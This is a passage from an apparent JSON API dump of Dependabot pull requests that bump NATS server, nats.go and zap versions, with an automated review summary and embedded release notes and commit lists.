**`github.com/nats-io/nats.go`** from **1.42.0 → 1.49.0**, with matching **`go.sum`** and **vendor** updates. Indirect bumps include **`antithesis-sdk-go`** (0.5.0 → **0.6.0-default-no-op**), **`klauspost/compress`**, **`minio/highwayhash`**, **`google/go-tpm`**, and **`golang.org/x/time`**.\n\u003e \n\u003e There are **no first-party application code changes** in this diff—only dependency pins and vendored upstream sources. The imported **nats-server 2.11.15** release carries **multiple security fixes** (per release notes: MQTT, leafnodes/service imports, WebSockets, JetStream, mTLS, credential handling, and publish-permission enforcement) plus assorted server behavior improvements (config env-var cycle detection, auth/tracing permission checks, write-timeout policies, JetStream consumer fixes, etc.) that will apply whenever this repo’s NATS server code path runs on the new version.\n\u003e \n\u003e **Operational note:** After merge, rebuild/redeploy so runtime uses the updated vendored server; regression-test JWT/account management, JetStream, and any MQTT-related user flows if you rely on them.\n\u003e \n\u003e \u003csup\u003eReviewed by [Cursor Bugbot](https://cursor.com/bugbot) for commit 3d83d107c3c76e6c2262c558641b811fbc26bd2b. Bugbot is set up for automated code reviews on this repo. Configure [here](https://www.cursor.com/dashboard/bugbot).\u003c/sup\u003e\n\u003c!-- /CURSOR_SUMMARY --\u003e","html_url":"https://github.com/nats-tower/nats-tower/pull/234","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nats-tower%2Fnats-tower/issues/234","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/234/packages"},{"uuid":"4625523390","node_id":"PR_kwDOSCuTDc7kjo3F","number":89,"state":"open","title":"chore(deps): Bump github.com/nats-io/nats-server/v2 from 2.14.1 to 2.14.2","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-09T20:53:37.000Z","updated_at":"2026-06-13T02:09:44.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.14.1","new_version":"2.14.2","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.14.1 to 2.14.2.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.2\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.52.0\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.45.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.2\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.16\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe client ID is now available through the embedded \u003ccode\u003eClientAuthentication\u003c/code\u003e API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8217\"\u003e#8217\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA race condition when handling subscription interest over routes has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8235\"\u003e#8235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePotential protocol-level corruption from rewriting \u003ccode\u003e$JS.ACK\u003c/code\u003e subjects has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8242\"\u003e#8242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePotential protocol-level corruption from buffer misuse in compressed WebSocket clients has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8244\"\u003e#8244\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e/accstatz\u003c/code\u003e monitoring endpoint no longer omits accounts with only leaf connections (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8252\"\u003e#8252\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a case where Raft peers were not correctly tracked after an inactivity stall during catchup (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8226\"\u003e#8226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eQuorum needed is now calculated correctly when bootstrapping the metalayer when gateway URLs resolve to multiple IP addresses (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8238\"\u003e#8238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe filestore no longer performs a block skip check on streams with extremely high subject counts, as it could result in runaway CPU usage (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8227\"\u003e#8227\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a case where the filestore would not release a lock after handling a write error (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8232\"\u003e#8232\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePurge operations on both file and memory stores are now more consistent with each other (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8241\"\u003e#8241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a case where the consumer lock would not release a lock after handling a start sequence error (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8230\"\u003e#8230\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCounter streams and message schedules now have configuration constraints applied to prevent incorrect usage patterns (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8240\"\u003e#8240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved stream and consumer scale down behaviour consistency (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8253\"\u003e#8253\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where the per-subject state last block was not stored correctly with a max messages per subject limit of 1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8254\"\u003e#8254\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a drift that could occur in the peer sets after a peer remove of an online node (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8258\"\u003e#8258\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\"\u003ehttps://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease v2.14.2-RC.1\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/1d065926bb99ed14ebe9cf6a21529d28310fc8d3\"\u003e\u003ccode\u003e1d06592\u003c/code\u003e\u003c/a\u003e Release v2.14.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/4e1aefa11412f699f6e31549ea215389824d4c07\"\u003e\u003ccode\u003e4e1aefa\u003c/code\u003e\u003c/a\u003e Cherry-picks for v2.14.2 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8256\"\u003e#8256\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ac092ff7c60aa4a0fa3f466198aa89d58bd15f47\"\u003e\u003ccode\u003eac092ff\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/01e589d49a512276adfa9f60699560c5be63bfd5\"\u003e\u003ccode\u003e01e589d\u003c/code\u003e\u003c/a\u003e [FIXED] Peer set desync/re-add after stream peer-remove\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3d122e82432917c2e4395523a33e929cc71ec5ca\"\u003e\u003ccode\u003e3d122e8\u003c/code\u003e\u003c/a\u003e De-flake TestJetStreamConsumerPrioritized\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3836d96692a7b9d1405ea404161e6a7f48ba3115\"\u003e\u003ccode\u003e3836d96\u003c/code\u003e\u003c/a\u003e [FIXED] Initial MaxMsgsPerSubject update not enforced\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/92cf2e314fe7ef38f3ac6223f874efa0f58819e0\"\u003e\u003ccode\u003e92cf2e3\u003c/code\u003e\u003c/a\u003e [FIXED] Filestore only stores last block when MaxMsgsPerSubject 1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3288b4fe279b6f689dc985758add443acb9095db\"\u003e\u003ccode\u003e3288b4f\u003c/code\u003e\u003c/a\u003e (2.14) [IMPROVED] Remove redundant error check in filestore\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/6ea46d54029a662ae3545da70b01c32976f6cdbc\"\u003e\u003ccode\u003e6ea46d5\u003c/code\u003e\u003c/a\u003e [FIXED] Stream and consumer scale down consistency\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5edd91c01a32945e1a4837a104c59114972c9bfb\"\u003e\u003ccode\u003e5edd91c\u003c/code\u003e\u003c/a\u003e [FIXED] AccountStatz omits accounts with only leaf connections\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/complytime-labs/complytime-core/pull/89","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/complytime-labs%2Fcomplytime-core/issues/89","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/89/packages"},{"uuid":"4498201811","node_id":"PR_kwDOQmje3s7eHvo5","number":9,"state":"closed","title":"Bump the go-dependencies group across 1 directory with 3 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-21T22:44:11.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-21T22:02:36.000Z","updated_at":"2026-05-21T22:44:13.000Z","time_to_close":2495,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"go-dependencies","update_count":3,"packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.8.4","new_version":"2.14.1","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/nats-io/nats.go","old_version":"1.37.0","new_version":"1.51.0"},{"name":"go.uber.org/zap","old_version":"1.27.1","new_version":"1.28.0","repository_url":"https://github.com/uber-go/zap"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-dependencies group with 2 updates in the / directory: [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) and [go.uber.org/zap](https://github.com/uber-go/zap).\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.8.4 to 2.14.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.1\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8107\"\u003e#8107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.6 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/crypto v0.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.44.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNew metrics \u003ccode\u003ein_client_msgs\u003c/code\u003e, \u003ccode\u003ein_client_bytes\u003c/code\u003e, \u003ccode\u003eout_client_msgs\u003c/code\u003e and \u003ccode\u003eout_client_bytes\u003c/code\u003e are now available via the \u003ccode\u003e/varz\u003c/code\u003e monitoring endpoint for tracking data to/from normal clients only (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7851\"\u003e#7851\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eClient TLS certificates without subject DNs but with DNS subject alternate names are now permitted (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8100\"\u003e#8100\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe log level of TLS handshake timeout or non-TLS record errors have been demoted to debug level to reduce noise (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8096\"\u003e#8096\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNum pending is now only calculated on consumer leaders, avoiding unnecessary CPU usage on followers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8172\"\u003e#8172\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSnapshot and catchup loops no longer leak timers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8186\"\u003e#8186\u003c/a\u003e, thanks to \u003ca href=\"https://github.com/SebTardif\"\u003e\u003ccode\u003e@​SebTardif\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream and consumer assignment errors are now surfaced (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8208\"\u003e#8208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntersection of sublists and subject trees can now be cancelled early, avoiding high CPU usage in some pathological cases (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8209\"\u003e#8209\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCluster route compression now obeys the cluster \u003ccode\u003emax_pings_out\u003c/code\u003e option if configured (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8093\"\u003e#8093\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe internal send loop no longer mutates caller headers, which could corrupt buffers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8097\"\u003e#8097\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving headers no longer fails to remove later headers if the matching prefix also appeared in an earlier header value (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8103\"\u003e#8103\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe sublist now correctly maintains negative results in the cache when calculating number of interested subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8119\"\u003e#8119\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eServer shutdown requests are now idempotent, preventing concurrency issues when shutting down in embedded contexts (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8163\"\u003e#8163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTLS listeners now work correctly with the PROXY protocol where enabled (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8130\"\u003e#8130\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReduced lock contention that could be created between leafnodes and clients (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8139\"\u003e#8139\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8159\"\u003e#8159\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a panic that could happen when an error occurs when walking JWT directory resolver folders (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8173\"\u003e#8173\u003c/a\u003e, thanks to \u003ca href=\"https://github.com/SebTardif\"\u003e\u003ccode\u003e@​SebTardif\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIn-process connections will no longer unexpectedly revert to TLS required with async \u003ccode\u003eINFO\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8205\"\u003e#8205\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/cb557cd5d3ee8b4a253071d9923730d7d5588f99\"\u003e\u003ccode\u003ecb557cd\u003c/code\u003e\u003c/a\u003e Release v2.14.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9182ee9ea4c0da9ea664270e323aa89a28b0b074\"\u003e\u003ccode\u003e9182ee9\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.14.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8219\"\u003e#8219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/128e85517ec926a8617bee2d0fa28a249f01bf7b\"\u003e\u003ccode\u003e128e855\u003c/code\u003e\u003c/a\u003e Add a benchmark for WriteTermVote\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/6bb9af2e8346c6350a3c54cf35d356d1146698a8\"\u003e\u003ccode\u003e6bb9af2\u003c/code\u003e\u003c/a\u003e Allow cancellation of \u003ccode\u003eIntersectGSL\u003c/code\u003e, optimise skip block check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/899bf88bf18c173b1a6d9d92a50e44c655051b70\"\u003e\u003ccode\u003e899bf88\u003c/code\u003e\u003c/a\u003e [IMPROVED] Clear stale sa/ca.err after success\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a1e81c058ed19c798ea4042101b842cd143320af\"\u003e\u003ccode\u003ea1e81c0\u003c/code\u003e\u003c/a\u003e [IMPROVED] Surface assignment errors in stream/consumer log messages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2477ebcc81aca8060f41a1fbd31fdfe740907532\"\u003e\u003ccode\u003e2477ebc\u003c/code\u003e\u003c/a\u003e [IMPROVED] Surface assignment errors in stream/consumer health checks\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b7d533e99d9b85b00e2103568681ad4c05f96c9c\"\u003e\u003ccode\u003eb7d533e\u003c/code\u003e\u003c/a\u003e [IMPROVED] Consumer's deleteNotActive compares against object-local assignment\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e667787bd644ac3716e1bd39ab804e35736011d5\"\u003e\u003ccode\u003ee667787\u003c/code\u003e\u003c/a\u003e [FIXED] Async INFO flipped tls_required for in-process clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/f56faad88c7147244b030390a90a03202c4c1d86\"\u003e\u003ccode\u003ef56faad\u003c/code\u003e\u003c/a\u003e Release v2.14.1-RC.2\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.8.4...v2.14.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.37.0 to 1.51.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.51.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eOption to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to automatically reconnect on write error (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAccessors for JetStream API level and \u003ccode\u003eIsSysAccount\u003c/code\u003e from \u003ccode\u003eServerInfo\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eMake websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eFix deadlock in \u003ccode\u003eConsume()\u003c/code\u003e when calling \u003ccode\u003eStop\u003c/code\u003e/\u003ccode\u003eDrain\u003c/code\u003e from \u003ccode\u003eConsumeErrHandler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix typos in tests. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecation warnings by bumping GH actions to their latest versions. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contibution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2048\"\u003e#2048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCode linting: remove functions min and max. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease v1.50.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eFix WebSocket close frame discarding buffered data frames (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2032\"\u003e#2032\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eRemove status listener in Consume()/Messages() cleanup. Thanks \u003ca href=\"https://github.com/txuna\"\u003e\u003ccode\u003e@​txuna\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/1993\"\u003e#1993\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix race condition in \u003ccode\u003eorderedSubscription.Drain()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2030\"\u003e#2030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eOrderedConsumer.Consume()\u003c/code\u003e race in handler (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2043\"\u003e#2043\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eDe-flake TestAlwaysReconnectOnAccountMaxConnectionsExceededErr (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2042\"\u003e#2042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrap EOF/connection reset errors with TLS context after handshake (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2031\"\u003e#2031\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eReject control characters in stream and consumer names (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2038\"\u003e#2038\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing \u003ccode\u003eAccountLimits\u003c/code\u003e fields in \u003ccode\u003ejetstream\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2041\"\u003e#2041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix flaky TestConsumerPrioritized/messages test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2033\"\u003e#2033\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eKeyValue:\n\u003cul\u003e\n\u003cli\u003eDeduplicate keys in KeyValue.Keys() and document ListKeys behavior (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2029\"\u003e#2029\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/17b6fd141ba960bdc07278101f8b6381293bbfe1\"\u003e\u003ccode\u003e17b6fd1\u003c/code\u003e\u003c/a\u003e Release v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2061\"\u003e#2061\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b6d0226cf77762c3d73f337b84ebac48c31eb22a\"\u003e\u003ccode\u003eb6d0226\u003c/code\u003e\u003c/a\u003e [ADDED] Accessors for JS API level and IsSysAccount (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a2bb4ab8d5c2fc04d569b8176f58e427362f549\"\u003e\u003ccode\u003e7a2bb4a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Code linting: remove functions min and max 